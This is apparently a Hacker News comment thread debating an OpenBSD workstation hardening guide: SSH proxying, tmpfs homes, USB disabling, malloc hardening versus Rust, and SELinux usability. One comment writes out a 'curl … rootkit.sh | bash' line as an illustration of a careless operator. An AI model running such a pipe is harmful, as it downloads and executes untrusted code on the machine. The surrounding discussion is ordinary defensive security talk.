7 ms·
OpenBSD Workstation Hardening
- _joel 3y agoHow come every ssh connection goes via a proxy user? Isn't that masking the accounting? Or am I misreading it? https://dataswamp.org/~solene/2023-12-31-hardened-openbsd-workstation.html#_SSH https://dataswamp.org/~solene/2023-12-31-hardened-openbsd-wo... edit: oh, it's for outbound ssh, but I'm still none the wiser in terms of auditing (or what that would do to git clones without some modification)
- comprev 3y agoThat sort of hardened environment is what I would expect the sysadmins/operators of the darknet marketplaces to run. Home directories in memory, proxied outbound SSH connections, high levels of encryption and absolute minimum installed software to do the job required. The consequences of OpSec failure is.... well, rather serious :)
- paulnpace 3y agoEspecially given that only an admin is likely to have a computer with PS/2 ports.
- prmoustache 3y agoWhat do you mean? We are talking openBSD, not GNU HURD.
- gosub100 3y agonah they just use SWATd: https://github.com/defuse/swatd https://github.com/defuse/swatd (it was featured on hn a few years back)
- deleted 3y ago[deleted]
- pvg 3y agoThat sort of hardened environment is what I would expect the sysadmins/operators of the darknet marketplaces to run. That's the impression a lot of these 'hardening guides' give, intentionally or not. But fundamentally they're like 'tactical' pants except for nerds.
- A4ET8a8uTh0 3y agoWhile I disagree if a given darknet is to remain dark for long, this is the funniest comparison I read in a while and I am stealing it for future use.
- jandrese 3y agoThe NSA had a hardening guide you could download for free and deploy on a Windows system if you so desired. Following all of the advice in the document was an excellent way to end up with a completely useless system. Worse, thanks to Windows horrible logging infrastructure it was almost impossible to figure out exactly what change was causing a particular bit of breakage. You never EVER get an error message that reads anything like "HKLM\SYSTEM\CurrentControlSet\Services\Ramdisk" : Permission Denied reading key "StartOverride", service halted". Instead it is some generic "the system failed to start" message that doesn't help at all.
- PrimeMcFly 3y agoThere are plenty of windows tools that let you see those real error messages and troubleshoot in more detail.
- jandrese 3y agoGood luck getting any of them to run on a locked down machine.
- PrimeMcFly 3y agoThey just need admin access, that's it.
- zitterbewegung 3y agoThat isn’t what they do though. Defcon 30 shared what an actual Darknet user did. https://youtu.be/01oeaBb85Xc?si=6vFztCVsbMKWByVD https://youtu.be/01oeaBb85Xc?si=6vFztCVsbMKWByVD
- red-iron-pine 3y agogood presentation. watched it a few weeks back. > That isn’t what they do though. Defcon 30 shared what an actual Darknet user did. and he got arrested, and did actual prison time. now it sounds like it wasn't all his technical opsec that got him in trouble, but just cuz some dude played fast and loose doesn't mean they all do. the ones who ain't been caught are probably a lot stricter... or a lot more lucky.
- zitterbewegung 3y agoUnfortunately the people who you never hear of are the most successful for obvious reasons
- rainbowzootsuit 3y agoThanks for the link. He's the guest on a Darknet Diaries episode too. https://darknetdiaries.com/episode/132/ https://darknetdiaries.com/episode/132/ YouTube from above without the tracking: https://www.youtube.com/watch?v=01oeaBb85Xc https://www.youtube.com/watch?v=01oeaBb85Xc
- alberth 3y ago[flagged]
- dijit 3y agothey seem to focus on correctness over features. So jails for example would be a lot of complexity. Rust, if I am not mistaken, has some quirk with the compiler backend that OpenBSD does not like. Theo also mentioned: >Such ecosystems come with incredible costs. For instance, rust cannot even compile itself on i386 at present time because it exhausts the address space. Regardless: The system being secure is a secondary benefit to it being comprehendible and coherent to an individual. It's not enough for the output of a magic box to be a better widget, even if the widget is better in every measurable way. The box itself must not be magic.
- alberth 3y agoUsing a static code analyzer, as well as adoption of Rust (which reduces the need for a static code analyzer) - squarely fit in the correctness camp, no? Note: I'm not a Rust fanboy. But it just seems like Rust aligns very well with OpenBSD core principles.
- ectospheno 3y agoYou can be both intelligent and a competent programmer while not liking rust. The same applies to functional programming.
- deleted 3y ago[deleted]
- belter 3y agoNot to deny some of those are useful suggestions, but they don't square with the core OpenBSD philosophy. And despite not having these items, they are more secure than products who use them.
- harporoeder 3y agoIt is hard to call OpenBSD an OS focused on security. Beyond pledge their primary focus seems to be "just implement everything correctly and don't run malware". If some utility has an implementation error or you do accidentally run something malicious you are hosed. Compare this to Linux with the extensive use of containerization and things like eBPF for dynamic security measures, or portals as part as flatpak for dynamic application permissions.
- gigatexal 3y agoOh man this is hella paranoid security porn ring on a kink. Disabling networking for your user? Come on.
- znpy 3y agowasn't OpenBSD be supposed to be, and i quote, "secure by default" ?
- unethical_ban 3y agoTime to add "Sec" to your title! Lesson one: Security is a spectrum. There is a difference between "No exploits in our base installation" and "The top nation-states of the world may be trying to load software of unknown capability onto my networked computer".
- user3939382 3y agoIn the latter case you should switch to pencil and paper, just ask Iran.
- TacticalCoder 3y agoIf Iran had been running their SCADA stuff on hardened OpenBSD systems instead of Windows, maybe the story would have been different though. I'm not saying it's realistic (SCADA drivers may not exist for OpenBSD): what I'm saying though is that only a fool would consider Windows as secure as OpenBSD.
- red-iron-pine 3y agoi would have used Russia as an example, such as how they said fuck it and switched to old school typewriters. source: https://www.bbc.com/news/world-europe-23282308 https://www.bbc.com/news/world-europe-23282308
- PrimeMcFly 3y agoall that means is that it disabled services by default before it became common sense.
- justsomehnguy 3y agoBy running OpenBSD as a workstation you already made sure what 99% wouldn't connect with you /redditmode This guide is partly Security 101, partly for a localhost admin. Things are different when you run an organization with a centrally managed catalogue. Or you are sane and have a clear picture of the attack vectors. Least privilege? Yes, of course. Drop inbound by default? Yes, of course and it's amazing how many self-titled Linux Administrators insist what the machine should be 'secure from start so no firewall is needed'. Also this guide implies a workspace which questions what exactly kind of malicious traffic a [single] OpenBSD machine in the network would receive. Drop outbound by default? Yes and BTW it's pretty easy on Windows, because the Windows Defender Firewall (what a mouthful) is pretty capable to filter by an application, not just by IPs and ports, so you don't need this SOCKS ersatz app firewall. > Live in a temporary file-system Now this is just ridiculous. As other said this is Silk Road level of paranoia. > Disable webcam and microphone Don't connect them in the first place? > Disabling USB ports See the temporary file-system. Good luck finding a notebook with PS/2 or serial ports. > auto-updating the packages and base system daily on a computer is the minimum that should be done everywhere Oh god. > 10.1. Specialized proxies § > It could be possible to have different proxy users, with each restriction to the remote ports allowed, we could imagine proxies like > Of course, this is even more tedious than the multipurpose proxy, but at least, it's harder for a program to guess what proxy to use, especially if you don't connect them all at once. Now this is what bugs me most of this guide. If you already allowed something to run on your machine then it is usually too late for security through obscurity exercises. Most of the things advised here would just make your life miserable and would lead to disabling or shortcutting them.
- AzuraIsCool 3y agoWhat is your proposed alternative for secure, future proof deploy?
- justsomehnguy 3y ago> future proof deploy Future proof deploy of what exactly? What is the attack vector? Network, physical, both? Who is the perpetrator? Nation, criminal, NSA, FSB, your disgruntled employee or your {business,sexual} partner trying to bury you? Who is the operator of this machine? Do you trust him or do you explicitly do not? Does he runs 'curl https://haxx.me/rootkit.sh https://haxx.me/rootkit.sh | bash' every day? What about maid service? What services or data is on the machine? Can it be triggered to execute something from a 3rd party endpoint? Do the data comes from the uncontrolled endpoints (eg Internet but this is not the only one vector)?
- SoftTalker 3y agoOne thing I've encountered working with OpenBSD is: change the defaults at your peril. The base system is intended to work and be secure as-is. If you start "hardening" it, expect odd breakage here and there and you will get little sympathy or help from the email lists.
- jmclnx 3y agoIn a way you could be right, but in case you did nor know. The author is in the OpenBSD Development Team. So this advice should be fine if you feel you want to follow it :)
- SoftTalker 3y agoYes, I did know that, was just a general caution that before you go twisting knobs, be sure you understand what they do and are prepared to diagnose yourself any issues that result. "Ask me how I know"
- deleted 3y ago[deleted]
- _yb2s 3y agoDon't forget the most important security considerations: (1) choose a hardware and OS combination where none of your I/O hardware (video, audio, wifi, etc.) is supported, so that it can never be used to exploit your system; (2) choose an OS so obscure and weird that a potential hacker is guaranteed to have never even heard of it, and would need to study your specific machine for months to make heads or tails of it Just joking, I love OpenBSD
- Throw839 3y agoUnsupported devices can always become somehow supported and enabled. To harden computer, you remove WiFi cards, cut on-board antennas, desolder mics and speakers, desolder USB ports... I did that for computer that was used to sign bitcoin transactions offline. User typed hashes manually...
- _yb2s 3y ago> Unsupported devices can always become somehow supported and enabled Be very careful if anonymous developers suddenly contribute OpenBSD drivers for every single component in the 20 year old garage sale laptop you use for hosting an "online store" on TOR
- deleted 3y ago[deleted]
- red-iron-pine 3y agochoose an open source OS that the FBI can download and spend months exploiting. then be an oddball in the ecosystem to the point where you're obvious and stand out dramatically. kinda like how one of the FBI's MONSTER email filters they looked for was anything BSD
- tedunangst 3y agoPresented with the opportunity to learn more about how a system works, the HN cries, no, I hate learning.
- TacticalCoder 3y agoBTW for those who want to learn... All of these (and more) are also applicable to Linux. I'm running very hardened Linux "workstations" and things, once setup, just work. I created a shell script verifying lots and lots of things and warning me if I forgot to harden something. I then simply re-run my script every time I install a new Linux (which is not that often). The script even modifies config file for me: Setting xyz-fribulator is set to 0, although it should be set 2, do you want me to modify xxx.cfg for you? [Y/N] Makes hardening a new system a breeze. For example I really don't see why a user should see processes belonging to other users. I've got about 30 settings like that, plus a beefy firewall, plus, as in TFA, a "no sudo / no doas" from the regular user rule. Haters gotta hate, of course.
- monkeywork 3y agodo you have the scripts up on github?
- hpeter 3y ago"The OpenBSD malloc system allows you to enable some extra checks, like use after free, heap overflow or guard pages..." How would the added protection compare to safety in rust? Wouldn't it be useful to develop C on a memory hardened system, then deploy anywhere knowing there were checks during development? Would that help avoid the memory issues later in production?
- steveklabnik 3y agoRust's borrow checker does not only check heap memory, it checks pointers (references in Rust terminology) to anywhere. Additionally, these checks in malloc are at runtime, whereas the borrow checker is at compile time. These checks are good, but they do not go as far as Rust does in terms of statically preventing issues. > Wouldn't it be useful to develop C on a memory hardened system, then deploy anywhere knowing there were checks during development? Would that help avoid the memory issues later in production? It helps but one aspect of runtime vs compile time checking is that for runtime checks, you only get the checks if you actually exercise the code path that causes the issue. If you ship with some checks on in development, and turn them off in release, you run the risk of having missed cases that will still cause problems. All of this is better than doing nothing at all, and is a good thing.
- rollcat 3y agoSo there's one idea that sent me thinking: that actually sounds reasonable, even if inconvenient - remove self from wheel/doas/sudo, and switch VTs to escalate privileges. The reason why this is more secure is because no software running as an unprivileged user could simulate the physical keystrokes necessary for the VT switch. But why does it have to be so inconvenient, what if we could eat the cake and have it too? Maybe just require pressing a certain key combo on the physical keyboard whenever prompted for a password by su/doas/sudo? Then I remembered! Windows NT did exactly that: you had to press ctrl+alt+del to log in.
- thwarted 3y agohttps://linux.die.net/man/1/chvt https://linux.die.net/man/1/chvt But, yes, I get what you're saying. A physical interaction that can not be, or is extremely difficult, spoofed via software would be valuable here.
- groundthrower 3y agoWhy do we always have hardening guides? Ain’t there any OS where an easening/loosening guide is needed instead?
- AtiRadeon9700 3y agoGood point! I sometimes wish there was a straightforward (and not causing reduced functionality) way of configuring a normal Linux distro in 'single user' mode.
- deleted 3y ago[deleted]
- lcall 3y agoYou may be describing OpenBSD ("secure by default") and its FAQ (how to do what you want with it). The OP's hardening guide might be largely seen as going to greater lengths than most people need. (I use its advice about umask, though.)
- neilv 3y agoAt one point, SELinux being on by default made one of the Red Hat distros a pain. This high-friction first impression cost them some adoptions, when an IT manager did a test install. A "softening guide" might've helped.
- PrimeMcFly 3y agoThe softening guide was one command to put SELinux into permissive mode, and those managers couldn't even handle that.
- neilv 3y agoIIRC, managers were qualified sales leads who were actively looking to move to a supported Linux platform, but got turned off by the installer&docs out-of-box experience that seemed like it was going to make a lot of extra work for them. I just meant the "softening guide" might've helped from the perspective of the company who'd like to land those customers. I don't think it's the best way, but at the right moment it might've salvaged some sales.
- PrimeMcFly 3y agoHonestly just setup SELinux on Alpine or Void, and that's going to be a much more secure workstation already.